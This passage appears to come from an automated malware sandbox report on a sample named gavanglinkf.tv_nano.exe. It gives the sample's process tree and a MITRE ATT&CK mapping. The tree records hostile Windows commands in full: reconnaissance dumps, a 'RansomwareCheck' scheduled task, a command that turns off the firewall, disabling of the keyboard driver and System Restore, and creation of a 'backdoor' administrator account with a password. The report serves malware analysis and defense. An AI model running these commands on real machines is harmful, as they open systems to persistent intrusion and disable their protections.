  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5784
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5668
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3020
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:4844
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2528
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2552
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4512
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2952
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1692
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:1776
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4456
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3772
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:3940

C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe
C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe
1⤵
PID:2828

C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe
C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe
1⤵
PID:3492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry